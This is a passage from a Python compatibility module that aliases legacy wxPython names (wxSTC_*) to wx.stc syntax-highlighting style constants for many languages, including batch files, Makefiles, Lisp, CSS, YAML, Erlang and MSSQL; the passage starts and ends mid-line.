wx.stc.STC_ERR_LUA\nwxSTC_ERR_CTAG = wx.stc.STC_ERR_CTAG\nwxSTC_ERR_DIFF_CHANGED = wx.stc.STC_ERR_DIFF_CHANGED\nwxSTC_ERR_DIFF_ADDITION = wx.stc.STC_ERR_DIFF_ADDITION\nwxSTC_ERR_DIFF_DELETION = wx.stc.STC_ERR_DIFF_DELETION\nwxSTC_ERR_DIFF_MESSAGE = wx.stc.STC_ERR_DIFF_MESSAGE\nwxSTC_ERR_PHP = wx.stc.STC_ERR_PHP\nwxSTC_ERR_ELF = wx.stc.STC_ERR_ELF\nwxSTC_ERR_IFC = wx.stc.STC_ERR_IFC\nwxSTC_ERR_IFORT = wx.stc.STC_ERR_IFORT\nwxSTC_ERR_ABSF = wx.stc.STC_ERR_ABSF\nwxSTC_ERR_TIDY = wx.stc.STC_ERR_TIDY\nwxSTC_ERR_JAVA_STACK = wx.stc.STC_ERR_JAVA_STACK\nwxSTC_BAT_DEFAULT = wx.stc.STC_BAT_DEFAULT\nwxSTC_BAT_COMMENT = wx.stc.STC_BAT_COMMENT\nwxSTC_BAT_WORD = wx.stc.STC_BAT_WORD\nwxSTC_BAT_LABEL = wx.stc.STC_BAT_LABEL\nwxSTC_BAT_HIDE = wx.stc.STC_BAT_HIDE\nwxSTC_BAT_COMMAND = wx.stc.STC_BAT_COMMAND\nwxSTC_BAT_IDENTIFIER = wx.stc.STC_BAT_IDENTIFIER\nwxSTC_BAT_OPERATOR = wx.stc.STC_BAT_OPERATOR\nwxSTC_MAKE_DEFAULT = wx.stc.STC_MAKE_DEFAULT\nwxSTC_MAKE_COMMENT = wx.stc.STC_MAKE_COMMENT\nwxSTC_MAKE_PREPROCESSOR = wx.stc.STC_MAKE_PREPROCESSOR\nwxSTC_MAKE_IDENTIFIER = wx.stc.STC_MAKE_IDENTIFIER\nwxSTC_MAKE_OPERATOR = wx.stc.STC_MAKE_OPERATOR\nwxSTC_MAKE_TARGET = wx.stc.STC_MAKE_TARGET\nwxSTC_MAKE_IDEOL = wx.stc.STC_MAKE_IDEOL\nwxSTC_DIFF_DEFAULT = wx.stc.STC_DIFF_DEFAULT\nwxSTC_DIFF_COMMENT = wx.stc.STC_DIFF_COMMENT\nwxSTC_DIFF_COMMAND = wx.stc.STC_DIFF_COMMAND\nwxSTC_DIFF_HEADER = wx.stc.STC_DIFF_HEADER\nwxSTC_DIFF_POSITION = wx.stc.STC_DIFF_POSITION\nwxSTC_DIFF_DELETED = wx.stc.STC_DIFF_DELETED\nwxSTC_DIFF_ADDED = wx.stc.STC_DIFF_ADDED\nwxSTC_CONF_DEFAULT = wx.stc.STC_CONF_DEFAULT\nwxSTC_CONF_COMMENT = wx.stc.STC_CONF_COMMENT\nwxSTC_CONF_NUMBER = wx.stc.STC_CONF_NUMBER\nwxSTC_CONF_IDENTIFIER = wx.stc.STC_CONF_IDENTIFIER\nwxSTC_CONF_EXTENSION = wx.stc.STC_CONF_EXTENSION\nwxSTC_CONF_PARAMETER = wx.stc.STC_CONF_PARAMETER\nwxSTC_CONF_STRING = wx.stc.STC_CONF_STRING\nwxSTC_CONF_OPERATOR = wx.stc.STC_CONF_OPERATOR\nwxSTC_CONF_IP = wx.stc.STC_CONF_IP\nwxSTC_CONF_DIRECTIVE = wx.stc.STC_CONF_DIRECTIVE\nwxSTC_AVE_DEFAULT = wx.stc.STC_AVE_DEFAULT\nwxSTC_AVE_COMMENT = wx.stc.STC_AVE_COMMENT\nwxSTC_AVE_NUMBER = wx.stc.STC_AVE_NUMBER\nwxSTC_AVE_WORD = wx.stc.STC_AVE_WORD\nwxSTC_AVE_STRING = wx.stc.STC_AVE_STRING\nwxSTC_AVE_ENUM = wx.stc.STC_AVE_ENUM\nwxSTC_AVE_STRINGEOL = wx.stc.STC_AVE_STRINGEOL\nwxSTC_AVE_IDENTIFIER = wx.stc.STC_AVE_IDENTIFIER\nwxSTC_AVE_OPERATOR = wx.stc.STC_AVE_OPERATOR\nwxSTC_AVE_WORD1 = wx.stc.STC_AVE_WORD1\nwxSTC_AVE_WORD2 = wx.stc.STC_AVE_WORD2\nwxSTC_AVE_WORD3 = wx.stc.STC_AVE_WORD3\nwxSTC_AVE_WORD4 = wx.stc.STC_AVE_WORD4\nwxSTC_AVE_WORD5 = wx.stc.STC_AVE_WORD5\nwxSTC_AVE_WORD6 = wx.stc.STC_AVE_WORD6\nwxSTC_ADA_DEFAULT = wx.stc.STC_ADA_DEFAULT\nwxSTC_ADA_WORD = wx.stc.STC_ADA_WORD\nwxSTC_ADA_IDENTIFIER = wx.stc.STC_ADA_IDENTIFIER\nwxSTC_ADA_NUMBER = wx.stc.STC_ADA_NUMBER\nwxSTC_ADA_DELIMITER = wx.stc.STC_ADA_DELIMITER\nwxSTC_ADA_CHARACTER = wx.stc.STC_ADA_CHARACTER\nwxSTC_ADA_CHARACTEREOL = wx.stc.STC_ADA_CHARACTEREOL\nwxSTC_ADA_STRING = wx.stc.STC_ADA_STRING\nwxSTC_ADA_STRINGEOL = wx.stc.STC_ADA_STRINGEOL\nwxSTC_ADA_LABEL = wx.stc.STC_ADA_LABEL\nwxSTC_ADA_COMMENTLINE = wx.stc.STC_ADA_COMMENTLINE\nwxSTC_ADA_ILLEGAL = wx.stc.STC_ADA_ILLEGAL\nwxSTC_BAAN_DEFAULT = wx.stc.STC_BAAN_DEFAULT\nwxSTC_BAAN_COMMENT = wx.stc.STC_BAAN_COMMENT\nwxSTC_BAAN_COMMENTDOC = wx.stc.STC_BAAN_COMMENTDOC\nwxSTC_BAAN_NUMBER = wx.stc.STC_BAAN_NUMBER\nwxSTC_BAAN_WORD = wx.stc.STC_BAAN_WORD\nwxSTC_BAAN_STRING = wx.stc.STC_BAAN_STRING\nwxSTC_BAAN_PREPROCESSOR = wx.stc.STC_BAAN_PREPROCESSOR\nwxSTC_BAAN_OPERATOR = wx.stc.STC_BAAN_OPERATOR\nwxSTC_BAAN_IDENTIFIER = wx.stc.STC_BAAN_IDENTIFIER\nwxSTC_BAAN_STRINGEOL = wx.stc.STC_BAAN_STRINGEOL\nwxSTC_BAAN_WORD2 = wx.stc.STC_BAAN_WORD2\nwxSTC_LISP_DEFAULT = wx.stc.STC_LISP_DEFAULT\nwxSTC_LISP_COMMENT = wx.stc.STC_LISP_COMMENT\nwxSTC_LISP_NUMBER = wx.stc.STC_LISP_NUMBER\nwxSTC_LISP_KEYWORD = wx.stc.STC_LISP_KEYWORD\nwxSTC_LISP_KEYWORD_KW = wx.stc.STC_LISP_KEYWORD_KW\nwxSTC_LISP_SYMBOL = wx.stc.STC_LISP_SYMBOL\nwxSTC_LISP_STRING = wx.stc.STC_LISP_STRING\nwxSTC_LISP_STRINGEOL = wx.stc.STC_LISP_STRINGEOL\nwxSTC_LISP_IDENTIFIER = wx.stc.STC_LISP_IDENTIFIER\nwxSTC_LISP_OPERATOR = wx.stc.STC_LISP_OPERATOR\nwxSTC_LISP_SPECIAL = wx.stc.STC_LISP_SPECIAL\nwxSTC_LISP_MULTI_COMMENT = wx.stc.STC_LISP_MULTI_COMMENT\nwxSTC_EIFFEL_DEFAULT = wx.stc.STC_EIFFEL_DEFAULT\nwxSTC_EIFFEL_COMMENTLINE = wx.stc.STC_EIFFEL_COMMENTLINE\nwxSTC_EIFFEL_NUMBER = wx.stc.STC_EIFFEL_NUMBER\nwxSTC_EIFFEL_WORD = wx.stc.STC_EIFFEL_WORD\nwxSTC_EIFFEL_STRING = wx.stc.STC_EIFFEL_STRING\nwxSTC_EIFFEL_CHARACTER = wx.stc.STC_EIFFEL_CHARACTER\nwxSTC_EIFFEL_OPERATOR = wx.stc.STC_EIFFEL_OPERATOR\nwxSTC_EIFFEL_IDENTIFIER = wx.stc.STC_EIFFEL_IDENTIFIER\nwxSTC_EIFFEL_STRINGEOL = wx.stc.STC_EIFFEL_STRINGEOL\nwxSTC_NNCRONTAB_DEFAULT = wx.stc.STC_NNCRONTAB_DEFAULT\nwxSTC_NNCRONTAB_COMMENT = wx.stc.STC_NNCRONTAB_COMMENT\nwxSTC_NNCRONTAB_TASK = wx.stc.STC_NNCRONTAB_TASK\nwxSTC_NNCRONTAB_SECTION = wx.stc.STC_NNCRONTAB_SECTION\nwxSTC_NNCRONTAB_KEYWORD = wx.stc.STC_NNCRONTAB_KEYWORD\nwxSTC_NNCRONTAB_MODIFIER = wx.stc.STC_NNCRONTAB_MODIFIER\nwxSTC_NNCRONTAB_ASTERISK = wx.stc.STC_NNCRONTAB_ASTERISK\nwxSTC_NNCRONTAB_NUMBER = wx.stc.STC_NNCRONTAB_NUMBER\nwxSTC_NNCRONTAB_STRING = wx.stc.STC_NNCRONTAB_STRING\nwxSTC_NNCRONTAB_ENVIRONMENT = wx.stc.STC_NNCRONTAB_ENVIRONMENT\nwxSTC_NNCRONTAB_IDENTIFIER = wx.stc.STC_NNCRONTAB_IDENTIFIER\nwxSTC_FORTH_DEFAULT = wx.stc.STC_FORTH_DEFAULT\nwxSTC_FORTH_COMMENT = wx.stc.STC_FORTH_COMMENT\nwxSTC_FORTH_COMMENT_ML = wx.stc.STC_FORTH_COMMENT_ML\nwxSTC_FORTH_IDENTIFIER = wx.stc.STC_FORTH_IDENTIFIER\nwxSTC_FORTH_CONTROL = wx.stc.STC_FORTH_CONTROL\nwxSTC_FORTH_KEYWORD = wx.stc.STC_FORTH_KEYWORD\nwxSTC_FORTH_DEFWORD = wx.stc.STC_FORTH_DEFWORD\nwxSTC_FORTH_PREWORD1 = wx.stc.STC_FORTH_PREWORD1\nwxSTC_FORTH_PREWORD2 = wx.stc.STC_FORTH_PREWORD2\nwxSTC_FORTH_NUMBER = wx.stc.STC_FORTH_NUMBER\nwxSTC_FORTH_STRING = wx.stc.STC_FORTH_STRING\nwxSTC_FORTH_LOCALE = wx.stc.STC_FORTH_LOCALE\nwxSTC_MATLAB_DEFAULT = wx.stc.STC_MATLAB_DEFAULT\nwxSTC_MATLAB_COMMENT = wx.stc.STC_MATLAB_COMMENT\nwxSTC_MATLAB_COMMAND = wx.stc.STC_MATLAB_COMMAND\nwxSTC_MATLAB_NUMBER = wx.stc.STC_MATLAB_NUMBER\nwxSTC_MATLAB_KEYWORD = wx.stc.STC_MATLAB_KEYWORD\nwxSTC_MATLAB_STRING = wx.stc.STC_MATLAB_STRING\nwxSTC_MATLAB_OPERATOR = wx.stc.STC_MATLAB_OPERATOR\nwxSTC_MATLAB_IDENTIFIER = wx.stc.STC_MATLAB_IDENTIFIER\nwxSTC_MATLAB_DOUBLEQUOTESTRING = wx.stc.STC_MATLAB_DOUBLEQUOTESTRING\nwxSTC_SCRIPTOL_DEFAULT = wx.stc.STC_SCRIPTOL_DEFAULT\nwxSTC_SCRIPTOL_WHITE = wx.stc.STC_SCRIPTOL_WHITE\nwxSTC_SCRIPTOL_COMMENTLINE = wx.stc.STC_SCRIPTOL_COMMENTLINE\nwxSTC_SCRIPTOL_PERSISTENT = wx.stc.STC_SCRIPTOL_PERSISTENT\nwxSTC_SCRIPTOL_CSTYLE = wx.stc.STC_SCRIPTOL_CSTYLE\nwxSTC_SCRIPTOL_COMMENTBLOCK = wx.stc.STC_SCRIPTOL_COMMENTBLOCK\nwxSTC_SCRIPTOL_NUMBER = wx.stc.STC_SCRIPTOL_NUMBER\nwxSTC_SCRIPTOL_STRING = wx.stc.STC_SCRIPTOL_STRING\nwxSTC_SCRIPTOL_CHARACTER = wx.stc.STC_SCRIPTOL_CHARACTER\nwxSTC_SCRIPTOL_STRINGEOL = wx.stc.STC_SCRIPTOL_STRINGEOL\nwxSTC_SCRIPTOL_KEYWORD = wx.stc.STC_SCRIPTOL_KEYWORD\nwxSTC_SCRIPTOL_OPERATOR = wx.stc.STC_SCRIPTOL_OPERATOR\nwxSTC_SCRIPTOL_IDENTIFIER = wx.stc.STC_SCRIPTOL_IDENTIFIER\nwxSTC_SCRIPTOL_TRIPLE = wx.stc.STC_SCRIPTOL_TRIPLE\nwxSTC_SCRIPTOL_CLASSNAME = wx.stc.STC_SCRIPTOL_CLASSNAME\nwxSTC_SCRIPTOL_PREPROCESSOR = wx.stc.STC_SCRIPTOL_PREPROCESSOR\nwxSTC_ASM_DEFAULT = wx.stc.STC_ASM_DEFAULT\nwxSTC_ASM_COMMENT = wx.stc.STC_ASM_COMMENT\nwxSTC_ASM_NUMBER = wx.stc.STC_ASM_NUMBER\nwxSTC_ASM_STRING = wx.stc.STC_ASM_STRING\nwxSTC_ASM_OPERATOR = wx.stc.STC_ASM_OPERATOR\nwxSTC_ASM_IDENTIFIER = wx.stc.STC_ASM_IDENTIFIER\nwxSTC_ASM_CPUINSTRUCTION = wx.stc.STC_ASM_CPUINSTRUCTION\nwxSTC_ASM_MATHINSTRUCTION = wx.stc.STC_ASM_MATHINSTRUCTION\nwxSTC_ASM_REGISTER = wx.stc.STC_ASM_REGISTER\nwxSTC_ASM_DIRECTIVE = wx.stc.STC_ASM_DIRECTIVE\nwxSTC_ASM_DIRECTIVEOPERAND = wx.stc.STC_ASM_DIRECTIVEOPERAND\nwxSTC_ASM_COMMENTBLOCK = wx.stc.STC_ASM_COMMENTBLOCK\nwxSTC_ASM_CHARACTER = wx.stc.STC_ASM_CHARACTER\nwxSTC_ASM_STRINGEOL = wx.stc.STC_ASM_STRINGEOL\nwxSTC_ASM_EXTINSTRUCTION = wx.stc.STC_ASM_EXTINSTRUCTION\nwxSTC_F_DEFAULT = wx.stc.STC_F_DEFAULT\nwxSTC_F_COMMENT = wx.stc.STC_F_COMMENT\nwxSTC_F_NUMBER = wx.stc.STC_F_NUMBER\nwxSTC_F_STRING1 = wx.stc.STC_F_STRING1\nwxSTC_F_STRING2 = wx.stc.STC_F_STRING2\nwxSTC_F_STRINGEOL = wx.stc.STC_F_STRINGEOL\nwxSTC_F_OPERATOR = wx.stc.STC_F_OPERATOR\nwxSTC_F_IDENTIFIER = wx.stc.STC_F_IDENTIFIER\nwxSTC_F_WORD = wx.stc.STC_F_WORD\nwxSTC_F_WORD2 = wx.stc.STC_F_WORD2\nwxSTC_F_WORD3 = wx.stc.STC_F_WORD3\nwxSTC_F_PREPROCESSOR = wx.stc.STC_F_PREPROCESSOR\nwxSTC_F_OPERATOR2 = wx.stc.STC_F_OPERATOR2\nwxSTC_F_LABEL = wx.stc.STC_F_LABEL\nwxSTC_F_CONTINUATION = wx.stc.STC_F_CONTINUATION\nwxSTC_CSS_DEFAULT = wx.stc.STC_CSS_DEFAULT\nwxSTC_CSS_TAG = wx.stc.STC_CSS_TAG\nwxSTC_CSS_CLASS = wx.stc.STC_CSS_CLASS\nwxSTC_CSS_PSEUDOCLASS = wx.stc.STC_CSS_PSEUDOCLASS\nwxSTC_CSS_UNKNOWN_PSEUDOCLASS = wx.stc.STC_CSS_UNKNOWN_PSEUDOCLASS\nwxSTC_CSS_OPERATOR = wx.stc.STC_CSS_OPERATOR\nwxSTC_CSS_IDENTIFIER = wx.stc.STC_CSS_IDENTIFIER\nwxSTC_CSS_UNKNOWN_IDENTIFIER = wx.stc.STC_CSS_UNKNOWN_IDENTIFIER\nwxSTC_CSS_VALUE = wx.stc.STC_CSS_VALUE\nwxSTC_CSS_COMMENT = wx.stc.STC_CSS_COMMENT\nwxSTC_CSS_ID = wx.stc.STC_CSS_ID\nwxSTC_CSS_IMPORTANT = wx.stc.STC_CSS_IMPORTANT\nwxSTC_CSS_DIRECTIVE = wx.stc.STC_CSS_DIRECTIVE\nwxSTC_CSS_DOUBLESTRING = wx.stc.STC_CSS_DOUBLESTRING\nwxSTC_CSS_SINGLESTRING = wx.stc.STC_CSS_SINGLESTRING\nwxSTC_CSS_IDENTIFIER2 = wx.stc.STC_CSS_IDENTIFIER2\nwxSTC_CSS_ATTRIBUTE = wx.stc.STC_CSS_ATTRIBUTE\nwxSTC_POV_DEFAULT = wx.stc.STC_POV_DEFAULT\nwxSTC_POV_COMMENT = wx.stc.STC_POV_COMMENT\nwxSTC_POV_COMMENTLINE = wx.stc.STC_POV_COMMENTLINE\nwxSTC_POV_NUMBER = wx.stc.STC_POV_NUMBER\nwxSTC_POV_OPERATOR = wx.stc.STC_POV_OPERATOR\nwxSTC_POV_IDENTIFIER = wx.stc.STC_POV_IDENTIFIER\nwxSTC_POV_STRING = wx.stc.STC_POV_STRING\nwxSTC_POV_STRINGEOL = wx.stc.STC_POV_STRINGEOL\nwxSTC_POV_DIRECTIVE = wx.stc.STC_POV_DIRECTIVE\nwxSTC_POV_BADDIRECTIVE = wx.stc.STC_POV_BADDIRECTIVE\nwxSTC_POV_WORD2 = wx.stc.STC_POV_WORD2\nwxSTC_POV_WORD3 = wx.stc.STC_POV_WORD3\nwxSTC_POV_WORD4 = wx.stc.STC_POV_WORD4\nwxSTC_POV_WORD5 = wx.stc.STC_POV_WORD5\nwxSTC_POV_WORD6 = wx.stc.STC_POV_WORD6\nwxSTC_POV_WORD7 = wx.stc.STC_POV_WORD7\nwxSTC_POV_WORD8 = wx.stc.STC_POV_WORD8\nwxSTC_LOUT_DEFAULT = wx.stc.STC_LOUT_DEFAULT\nwxSTC_LOUT_COMMENT = wx.stc.STC_LOUT_COMMENT\nwxSTC_LOUT_NUMBER = wx.stc.STC_LOUT_NUMBER\nwxSTC_LOUT_WORD = wx.stc.STC_LOUT_WORD\nwxSTC_LOUT_WORD2 = wx.stc.STC_LOUT_WORD2\nwxSTC_LOUT_WORD3 = wx.stc.STC_LOUT_WORD3\nwxSTC_LOUT_WORD4 = wx.stc.STC_LOUT_WORD4\nwxSTC_LOUT_STRING = wx.stc.STC_LOUT_STRING\nwxSTC_LOUT_OPERATOR = wx.stc.STC_LOUT_OPERATOR\nwxSTC_LOUT_IDENTIFIER = wx.stc.STC_LOUT_IDENTIFIER\nwxSTC_LOUT_STRINGEOL = wx.stc.STC_LOUT_STRINGEOL\nwxSTC_ESCRIPT_DEFAULT = wx.stc.STC_ESCRIPT_DEFAULT\nwxSTC_ESCRIPT_COMMENT = wx.stc.STC_ESCRIPT_COMMENT\nwxSTC_ESCRIPT_COMMENTLINE = wx.stc.STC_ESCRIPT_COMMENTLINE\nwxSTC_ESCRIPT_COMMENTDOC = wx.stc.STC_ESCRIPT_COMMENTDOC\nwxSTC_ESCRIPT_NUMBER = wx.stc.STC_ESCRIPT_NUMBER\nwxSTC_ESCRIPT_WORD = wx.stc.STC_ESCRIPT_WORD\nwxSTC_ESCRIPT_STRING = wx.stc.STC_ESCRIPT_STRING\nwxSTC_ESCRIPT_OPERATOR = wx.stc.STC_ESCRIPT_OPERATOR\nwxSTC_ESCRIPT_IDENTIFIER = wx.stc.STC_ESCRIPT_IDENTIFIER\nwxSTC_ESCRIPT_BRACE = wx.stc.STC_ESCRIPT_BRACE\nwxSTC_ESCRIPT_WORD2 = wx.stc.STC_ESCRIPT_WORD2\nwxSTC_ESCRIPT_WORD3 = wx.stc.STC_ESCRIPT_WORD3\nwxSTC_PS_DEFAULT = wx.stc.STC_PS_DEFAULT\nwxSTC_PS_COMMENT = wx.stc.STC_PS_COMMENT\nwxSTC_PS_DSC_COMMENT = wx.stc.STC_PS_DSC_COMMENT\nwxSTC_PS_DSC_VALUE = wx.stc.STC_PS_DSC_VALUE\nwxSTC_PS_NUMBER = wx.stc.STC_PS_NUMBER\nwxSTC_PS_NAME = wx.stc.STC_PS_NAME\nwxSTC_PS_KEYWORD = wx.stc.STC_PS_KEYWORD\nwxSTC_PS_LITERAL = wx.stc.STC_PS_LITERAL\nwxSTC_PS_IMMEVAL = wx.stc.STC_PS_IMMEVAL\nwxSTC_PS_PAREN_ARRAY = wx.stc.STC_PS_PAREN_ARRAY\nwxSTC_PS_PAREN_DICT = wx.stc.STC_PS_PAREN_DICT\nwxSTC_PS_PAREN_PROC = wx.stc.STC_PS_PAREN_PROC\nwxSTC_PS_TEXT = wx.stc.STC_PS_TEXT\nwxSTC_PS_HEXSTRING = wx.stc.STC_PS_HEXSTRING\nwxSTC_PS_BASE85STRING = wx.stc.STC_PS_BASE85STRING\nwxSTC_PS_BADSTRINGCHAR = wx.stc.STC_PS_BADSTRINGCHAR\nwxSTC_NSIS_DEFAULT = wx.stc.STC_NSIS_DEFAULT\nwxSTC_NSIS_COMMENT = wx.stc.STC_NSIS_COMMENT\nwxSTC_NSIS_STRINGDQ = wx.stc.STC_NSIS_STRINGDQ\nwxSTC_NSIS_STRINGLQ = wx.stc.STC_NSIS_STRINGLQ\nwxSTC_NSIS_STRINGRQ = wx.stc.STC_NSIS_STRINGRQ\nwxSTC_NSIS_FUNCTION = wx.stc.STC_NSIS_FUNCTION\nwxSTC_NSIS_VARIABLE = wx.stc.STC_NSIS_VARIABLE\nwxSTC_NSIS_LABEL = wx.stc.STC_NSIS_LABEL\nwxSTC_NSIS_USERDEFINED = wx.stc.STC_NSIS_USERDEFINED\nwxSTC_NSIS_SECTIONDEF = wx.stc.STC_NSIS_SECTIONDEF\nwxSTC_NSIS_SUBSECTIONDEF = wx.stc.STC_NSIS_SUBSECTIONDEF\nwxSTC_NSIS_IFDEFINEDEF = wx.stc.STC_NSIS_IFDEFINEDEF\nwxSTC_NSIS_MACRODEF = wx.stc.STC_NSIS_MACRODEF\nwxSTC_NSIS_STRINGVAR = wx.stc.STC_NSIS_STRINGVAR\nwxSTC_NSIS_NUMBER = wx.stc.STC_NSIS_NUMBER\nwxSTC_NSIS_SECTIONGROUP = wx.stc.STC_NSIS_SECTIONGROUP\nwxSTC_NSIS_PAGEEX = wx.stc.STC_NSIS_PAGEEX\nwxSTC_NSIS_FUNCTIONDEF = wx.stc.STC_NSIS_FUNCTIONDEF\nwxSTC_NSIS_COMMENTBOX = wx.stc.STC_NSIS_COMMENTBOX\nwxSTC_MMIXAL_LEADWS = wx.stc.STC_MMIXAL_LEADWS\nwxSTC_MMIXAL_COMMENT = wx.stc.STC_MMIXAL_COMMENT\nwxSTC_MMIXAL_LABEL = wx.stc.STC_MMIXAL_LABEL\nwxSTC_MMIXAL_OPCODE = wx.stc.STC_MMIXAL_OPCODE\nwxSTC_MMIXAL_OPCODE_PRE = wx.stc.STC_MMIXAL_OPCODE_PRE\nwxSTC_MMIXAL_OPCODE_VALID = wx.stc.STC_MMIXAL_OPCODE_VALID\nwxSTC_MMIXAL_OPCODE_UNKNOWN = wx.stc.STC_MMIXAL_OPCODE_UNKNOWN\nwxSTC_MMIXAL_OPCODE_POST = wx.stc.STC_MMIXAL_OPCODE_POST\nwxSTC_MMIXAL_OPERANDS = wx.stc.STC_MMIXAL_OPERANDS\nwxSTC_MMIXAL_NUMBER = wx.stc.STC_MMIXAL_NUMBER\nwxSTC_MMIXAL_REF = wx.stc.STC_MMIXAL_REF\nwxSTC_MMIXAL_CHAR = wx.stc.STC_MMIXAL_CHAR\nwxSTC_MMIXAL_STRING = wx.stc.STC_MMIXAL_STRING\nwxSTC_MMIXAL_REGISTER = wx.stc.STC_MMIXAL_REGISTER\nwxSTC_MMIXAL_HEX = wx.stc.STC_MMIXAL_HEX\nwxSTC_MMIXAL_OPERATOR = wx.stc.STC_MMIXAL_OPERATOR\nwxSTC_MMIXAL_SYMBOL = wx.stc.STC_MMIXAL_SYMBOL\nwxSTC_MMIXAL_INCLUDE = wx.stc.STC_MMIXAL_INCLUDE\nwxSTC_CLW_DEFAULT = wx.stc.STC_CLW_DEFAULT\nwxSTC_CLW_LABEL = wx.stc.STC_CLW_LABEL\nwxSTC_CLW_COMMENT = wx.stc.STC_CLW_COMMENT\nwxSTC_CLW_STRING = wx.stc.STC_CLW_STRING\nwxSTC_CLW_USER_IDENTIFIER = wx.stc.STC_CLW_USER_IDENTIFIER\nwxSTC_CLW_INTEGER_CONSTANT = wx.stc.STC_CLW_INTEGER_CONSTANT\nwxSTC_CLW_REAL_CONSTANT = wx.stc.STC_CLW_REAL_CONSTANT\nwxSTC_CLW_PICTURE_STRING = wx.stc.STC_CLW_PICTURE_STRING\nwxSTC_CLW_KEYWORD = wx.stc.STC_CLW_KEYWORD\nwxSTC_CLW_COMPILER_DIRECTIVE = wx.stc.STC_CLW_COMPILER_DIRECTIVE\nwxSTC_CLW_RUNTIME_EXPRESSIONS = wx.stc.STC_CLW_RUNTIME_EXPRESSIONS\nwxSTC_CLW_BUILTIN_PROCEDURES_FUNCTION = wx.stc.STC_CLW_BUILTIN_PROCEDURES_FUNCTION\nwxSTC_CLW_STRUCTURE_DATA_TYPE = wx.stc.STC_CLW_STRUCTURE_DATA_TYPE\nwxSTC_CLW_ATTRIBUTE = wx.stc.STC_CLW_ATTRIBUTE\nwxSTC_CLW_STANDARD_EQUATE = wx.stc.STC_CLW_STANDARD_EQUATE\nwxSTC_CLW_ERROR = wx.stc.STC_CLW_ERROR\nwxSTC_CLW_DEPRECATED = wx.stc.STC_CLW_DEPRECATED\nwxSTC_LOT_DEFAULT = wx.stc.STC_LOT_DEFAULT\nwxSTC_LOT_HEADER = wx.stc.STC_LOT_HEADER\nwxSTC_LOT_BREAK = wx.stc.STC_LOT_BREAK\nwxSTC_LOT_SET = wx.stc.STC_LOT_SET\nwxSTC_LOT_PASS = wx.stc.STC_LOT_PASS\nwxSTC_LOT_FAIL = wx.stc.STC_LOT_FAIL\nwxSTC_LOT_ABORT = wx.stc.STC_LOT_ABORT\nwxSTC_YAML_DEFAULT = wx.stc.STC_YAML_DEFAULT\nwxSTC_YAML_COMMENT = wx.stc.STC_YAML_COMMENT\nwxSTC_YAML_IDENTIFIER = wx.stc.STC_YAML_IDENTIFIER\nwxSTC_YAML_KEYWORD = wx.stc.STC_YAML_KEYWORD\nwxSTC_YAML_NUMBER = wx.stc.STC_YAML_NUMBER\nwxSTC_YAML_REFERENCE = wx.stc.STC_YAML_REFERENCE\nwxSTC_YAML_DOCUMENT = wx.stc.STC_YAML_DOCUMENT\nwxSTC_YAML_TEXT = wx.stc.STC_YAML_TEXT\nwxSTC_YAML_ERROR = wx.stc.STC_YAML_ERROR\nwxSTC_TEX_DEFAULT = wx.stc.STC_TEX_DEFAULT\nwxSTC_TEX_SPECIAL = wx.stc.STC_TEX_SPECIAL\nwxSTC_TEX_GROUP = wx.stc.STC_TEX_GROUP\nwxSTC_TEX_SYMBOL = wx.stc.STC_TEX_SYMBOL\nwxSTC_TEX_COMMAND = wx.stc.STC_TEX_COMMAND\nwxSTC_TEX_TEXT = wx.stc.STC_TEX_TEXT\nwxSTC_METAPOST_DEFAULT = wx.stc.STC_METAPOST_DEFAULT\nwxSTC_METAPOST_SPECIAL = wx.stc.STC_METAPOST_SPECIAL\nwxSTC_METAPOST_GROUP = wx.stc.STC_METAPOST_GROUP\nwxSTC_METAPOST_SYMBOL = wx.stc.STC_METAPOST_SYMBOL\nwxSTC_METAPOST_COMMAND = wx.stc.STC_METAPOST_COMMAND\nwxSTC_METAPOST_TEXT = wx.stc.STC_METAPOST_TEXT\nwxSTC_METAPOST_EXTRA = wx.stc.STC_METAPOST_EXTRA\nwxSTC_ERLANG_DEFAULT = wx.stc.STC_ERLANG_DEFAULT\nwxSTC_ERLANG_COMMENT = wx.stc.STC_ERLANG_COMMENT\nwxSTC_ERLANG_VARIABLE = wx.stc.STC_ERLANG_VARIABLE\nwxSTC_ERLANG_NUMBER = wx.stc.STC_ERLANG_NUMBER\nwxSTC_ERLANG_KEYWORD = wx.stc.STC_ERLANG_KEYWORD\nwxSTC_ERLANG_STRING = wx.stc.STC_ERLANG_STRING\nwxSTC_ERLANG_OPERATOR = wx.stc.STC_ERLANG_OPERATOR\nwxSTC_ERLANG_ATOM = wx.stc.STC_ERLANG_ATOM\nwxSTC_ERLANG_FUNCTION_NAME = wx.stc.STC_ERLANG_FUNCTION_NAME\nwxSTC_ERLANG_CHARACTER = wx.stc.STC_ERLANG_CHARACTER\nwxSTC_ERLANG_MACRO = wx.stc.STC_ERLANG_MACRO\nwxSTC_ERLANG_RECORD = wx.stc.STC_ERLANG_RECORD\nwxSTC_ERLANG_SEPARATOR = wx.stc.STC_ERLANG_SEPARATOR\nwxSTC_ERLANG_NODE_NAME = wx.stc.STC_ERLANG_NODE_NAME\nwxSTC_ERLANG_UNKNOWN = wx.stc.STC_ERLANG_UNKNOWN\nwxSTC_MSSQL_DEFAULT = wx.stc.STC_MSSQL_DEFAULT\nwxSTC_MSSQL_COMMENT = wx.stc.STC_MSSQL_COMMENT\nwxSTC_MSSQL_LINE_COMMENT = wx.stc.STC_MSSQL_LINE_COMMENT\nwxSTC_MSSQL_NUMBER = wx.stc.STC_MSSQL_NUMBER\nwxSTC_MSSQL_STRING = wx.stc.STC_MSSQL_STRING\nwxSTC_MSSQL_OPERATOR = wx.stc.STC_MSSQL_OPERATOR\nwxSTC_MSSQL_IDENTIFIER = wx.stc.STC_MSSQL_IDENTIFIER\nwxSTC_MSSQL_VARIABLE = wx.stc.STC_MSSQL_VARIABLE\nwxSTC_MSSQL_COLUMN_NAME = wx.stc.STC_MSSQL_COLUMN_NAME\nwxSTC_MSSQL_STATEMENT = wx.stc.STC_MSSQL_STATEMENT\nwxSTC_MSSQL_DATATYPE = wx.stc.STC_MSSQL_DATATYPE\nwxSTC_MSSQL_SYSTABLE = wx.stc.STC_MSSQL_SYSTABLE\nwxSTC_MSSQL_GLOBAL_VARIABLE = wx.stc.STC_MSSQL_GLOBAL_VARIABLE\nwxSTC_MSSQL_FUNCTION = wx.stc.STC_MSSQL_FUNCTION\nwxSTC_MSSQL_STORED_PROCEDURE = wx.stc.STC_MSSQL_STORED_PROCEDURE\nwxSTC_MSSQL_DEFAULT_PREF_DATATYPE = wx.stc.STC_MSSQL_DEFAULT_PREF_DATATYPE\nwxSTC_MSSQL_COLUMN_NAME_2 = wx.stc.STC_MSSQL_COLUMN_NAME_2\nwxSTC_V_DEFAULT = wx.stc.STC_V_DEFAULT\nwxSTC_V_COMMENT 